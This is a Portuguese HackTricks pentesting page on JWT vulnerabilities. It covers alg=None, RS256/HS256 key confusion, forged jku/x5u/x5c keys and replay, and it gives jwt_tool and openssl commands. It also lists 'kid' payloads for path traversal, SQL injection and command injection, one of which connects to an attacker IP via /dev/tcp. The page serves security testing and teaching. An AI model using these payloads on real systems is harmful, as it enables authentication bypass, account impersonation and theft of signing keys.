19 KiB
Vulnerabilidades do JWT (Json Web Tokens)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Gostaria de ver sua empresa anunciada no HackTricks? Ou gostaria de ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.
Dica de bug bounty: cadastre-se no Intigriti, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje mesmo e comece a ganhar recompensas de até $100.000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Parte deste post foi retirada de: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor da ótima ferramenta para pentest de JWTs https://github.com/ticarpi/jwt_tool
Ganhos Rápidos
Execute o jwt_tool com o modo All Tests!
e aguarde as linhas verdes.
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Se você tiver sorte, a ferramenta encontrará algum caso em que a aplicação web esteja verificando incorretamente o JWT:
Em seguida, você pode procurar a solicitação em seu proxy ou extrair o JWT usado para essa solicitação usando a ferramenta jwt_tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Manipular dados sem modificar nada
Você pode simplesmente manipular os dados deixando a assinatura como está e verificar se o servidor está verificando a assinatura. Tente alterar seu nome de usuário para "admin", por exemplo.
A token é verificada?
- Se ocorrer uma mensagem de erro, a assinatura está sendo verificada - leia qualquer informação de erro detalhada que possa vazar algo sensível.
- Se a página retornada for diferente, a assinatura está sendo verificada.
- Se a página for a mesma, então a assinatura não está sendo verificada - é hora de começar a manipular as reivindicações do Payload para ver o que você pode fazer!
Origem
Verifique de onde o token se originou no histórico de solicitações do seu proxy. Ele deve ser criado no servidor, não no cliente.
- Se ele foi visto pela primeira vez vindo do lado do cliente, então a chave é acessível ao código do lado do cliente - procure por ela!
- Se ele foi visto pela primeira vez vindo do servidor, então está tudo bem.
Duração
Verifique se o token dura mais de 24 horas... talvez ele nunca expire. Se houver um campo "exp", verifique se o servidor está tratando-o corretamente.
Força bruta no segredo HMAC
Modificar o algoritmo para None (CVE-2015-9235)
Defina o algoritmo usado como "None" e remova a parte da assinatura.
Use a extensão do Burp chamada "JSON Web Token" para tentar essa vulnerabilidade e alterar diferentes valores dentro do JWT (envie a solicitação para o Repeater e na guia "JSON Web Token" você pode modificar os valores do token. Você também pode selecionar para colocar o valor do campo "Alg" como "None").
Alterar o algoritmo RS256 (assimétrico) para HS256 (simétrico) (CVE-2016-5431/CVE-2016-10555)
O algoritmo HS256 usa a chave secreta para assinar e verificar cada mensagem.
O algoritmo RS256 usa a chave privada para assinar a mensagem e usa a chave pública para autenticação.
Se você alterar o algoritmo de RS256 para HS256, o código do backend usará a chave pública como chave secreta e, em seguida, usará o algoritmo HS256 para verificar a assinatura.
Em seguida, usando a chave pública e alterando RS256 para HS256, poderíamos criar uma assinatura válida. Você pode recuperar o certificado do servidor da web executando isso:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Nova chave pública dentro do cabeçalho
Um atacante incorpora uma nova chave no cabeçalho do token e o servidor usa essa nova chave para verificar a assinatura (CVE-2018-0114).
Isso pode ser feito com a extensão "JSON Web Tokens" do Burp.
(Envie a solicitação para o Repeater, dentro da guia JSON Web Token selecione "CVE-2018-0114" e envie a solicitação).
Falsificação de JWKS
Se o token usa uma reivindicação de cabeçalho "jku", verifique a URL fornecida. Isso deve apontar para uma URL que contenha o arquivo JWKS que contém a Chave Pública para verificar o token. Altere o token para apontar o valor jku para um serviço da web no qual você possa monitorar o tráfego.
Se você receber uma interação HTTP, agora sabe que o servidor está tentando carregar chaves da URL que você está fornecendo. Use a opção -S do jwt_tool junto com o argumento -u http://example.com para gerar um novo par de chaves, injetar sua URL fornecida, gerar um JWKS contendo a Chave Pública e assinar o token com a Chave Privada
Problemas com "kid"
kid
é uma reivindicação opcional de cabeçalho que contém um identificador de chave, especialmente útil quando você tem várias chaves para assinar os tokens e precisa procurar a correta para verificar a assinatura.
Problemas com "kid" - revelar chave
Se a reivindicação "kid" for usada no cabeçalho, verifique o diretório da web para esse arquivo ou uma variação dele. Por exemplo, se "kid":"key/12345"
, procure por /key/12345 e /key/12345.pem na raiz da web.
Problemas com "kid" - travessia de caminho
Se a reivindicação "kid" for usada no cabeçalho, verifique se você pode usar um arquivo diferente no sistema de arquivos. Escolha um arquivo cujo conteúdo você possa prever, ou talvez tente "kid":"/dev/tcp/yourIP/yourPort"
para testar a conectividade, ou até mesmo algumas cargas úteis de SSRF...
Use a opção -T do jwt_tool para adulterar o JWT e alterar o valor da reivindicação kid, em seguida, escolha manter a assinatura original
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Usando arquivos dentro do host com conteúdo conhecido, você também pode forjar um JWT válido. Por exemplo, em sistemas Linux, o arquivo /proc/sys/kernel/randomize_va_space
tem o valor definido como 2. Portanto, colocando esse caminho dentro do parâmetro "kid" e usando "2" como a senha simétrica para gerar o JWT, você deve ser capaz de gerar um novo JWT válido.
Problemas com "kid" - Injeção de SQL
Em um cenário em que o conteúdo do "kid" é usado para recuperar a senha do banco de dados, você pode alterar a carga útil dentro do parâmetro "kid" para: non-existent-index' UNION SELECT 'ATTACKER';-- -
e então assinar o JWT com a chave secreta ATTACKER
.
Problemas com "kid" - Injeção de SO
Em um cenário em que o parâmetro "kid" contém um caminho para o arquivo com a chave e esse caminho está sendo usado dentro de um comando executado, você pode ser capaz de obter RCE e expor a chave privada com uma carga útil como a seguinte: /root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
Ataques diversos
Os seguintes são pontos fracos conhecidos que devem ser testados.
Ataques de relé entre serviços
Algumas aplicações web usam um JWT 'serviço' confiável para gerar e gerenciar tokens para elas. No passado, ocorreram casos em que um token gerado para um dos clientes do serviço JWT pode ser aceito por outro cliente do serviço JWT.
Se você observar o JWT sendo emitido ou renovado por meio de um serviço de terceiros, vale a pena identificar se você pode se inscrever em uma conta em outro cliente desse serviço com o mesmo nome de usuário/email. Se sim, tente pegar esse token e reproduzi-lo em uma solicitação para o seu alvo. Ele é aceito?
- Se o seu token for aceito, você pode ter um problema crítico que permite falsificar a conta de qualquer usuário. NO ENTANTO, esteja ciente de que, se você estiver se inscrevendo em um aplicativo de terceiros, talvez seja necessário obter permissão para permissões de teste mais amplas, caso isso entre em uma área cinzenta legal!
O "exp" é verificado?
A reivindicação de carga útil "exp" é usada para verificar a expiração de um token. Como os JWTs são frequentemente usados na ausência de informações de sessão, eles precisam ser tratados com cuidado - em muitos casos, capturar e reproduzir o JWT de outra pessoa permitirá que você se passe por esse usuário.
Uma mitigação contra ataques de reprodução de JWT (que é aconselhada pelo JWT RFC) é usar a reivindicação "exp" para definir um tempo de expiração para o token. Também é importante definir as verificações relevantes no aplicativo para garantir que esse valor seja processado e o token seja rejeitado quando expirado. Se o token contiver uma reivindicação "exp" e os limites de tempo de teste permitirem, tente armazenar o token e reproduzi-lo após o tempo de expiração ter passado. Use a opção -R da ferramenta jwt_tool para ler o conteúdo do token, que inclui análise de carimbo de data/hora e verificação de expiração (carimbo de data/hora em UTC)
- Se o token ainda for validado no aplicativo, isso pode representar um risco de segurança, pois o token pode NUNCA expirar.
x5u e jku
jku
jku significa URL do Conjunto de Chaves JWK.
Se o token usar uma reivindicação de cabeçalho "jku", verifique a URL fornecida. Isso deve apontar para uma URL que contém o arquivo JWKS que contém a Chave Pública para verificar o token. Altere o token para apontar o valor jku para um serviço da web no qual você possa monitorar o tráfego.
Primeiro, você precisa criar um novo certificado com novas chaves privadas e públicas.
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Então você pode usar, por exemplo, jwt.io para criar o novo JWT com as chaves públicas e privadas criadas e apontando o parâmetro jku para o certificado criado. Para criar um certificado jku válido, você pode baixar o original e alterar os parâmetros necessários.
Você pode obter os parâmetros "e" e "n" de um certificado público usando:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
URL X.509. Um URI que aponta para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em formato PEM. O primeiro certificado no conjunto deve ser aquele usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido no RFC 52807. É necessário ter segurança de transporte para transferir os certificados.
Tente alterar este cabeçalho para uma URL sob seu controle e verifique se alguma solicitação é recebida. Nesse caso, você poderia adulterar o JWT.
Para forjar um novo token usando um certificado controlado por você, você precisa criar o certificado e extrair as chaves pública e privada:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Então você pode usar, por exemplo, jwt.io para criar o novo JWT com as chaves públicas e privadas criadas e apontando o parâmetro x5u para o certificado .crt criado.
Você também pode abusar dessas duas vulnerabilidades para SSRFs.
x5c
Este parâmetro pode conter o certificado em base64:
Se o atacante gerar um certificado autoassinado e criar um token forjado usando a chave privada correspondente e substituir o valor do parâmetro "x5c" pelo certificado recém-gerado e modificar os outros parâmetros, ou seja, n, e e x5t, então essencialmente o token forjado seria aceito pelo servidor.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Chave Pública Incorporada (CVE-2018-0114)
Se o JWT tiver uma chave pública incorporada, como no seguinte cenário:
Usando o seguinte script nodejs, é possível gerar uma chave pública a partir desses dados:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
É possível gerar uma nova chave privada/pública, incorporar a nova chave pública dentro do token e usá-la para gerar uma nova assinatura:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Você pode obter o "n" e o "e" usando este script nodejs:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finalmente, usando a chave pública e privada e os novos valores "n" e "e", você pode usar jwt.io para forjar um novo JWT válido com qualquer informação.
JTI (JWT ID)
A reivindicação JTI (JWT ID) fornece um identificador único para um token JWT. Ele pode ser usado para evitar que o token seja reproduzido.
No entanto, imagine uma situação em que o comprimento máximo do ID seja 4 (0001-9999). As solicitações 0001 e 10001 vão usar o mesmo ID. Portanto, se o backend estiver incrementando o ID a cada solicitação, você pode abusar disso para reproduzir uma solicitação (precisando enviar 10000 solicitações entre cada reprodução bem-sucedida).
Reivindicações registradas do JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
Ferramentas
{% embed url="https://github.com/ticarpi/jwt_tool" %}
Dica de recompensa por bugs: inscreva-se no Intigriti, uma plataforma premium de recompensa por bugs criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje e comece a ganhar recompensas de até $100.000!
{% embed url="https://go.intigriti.com/hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? Ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.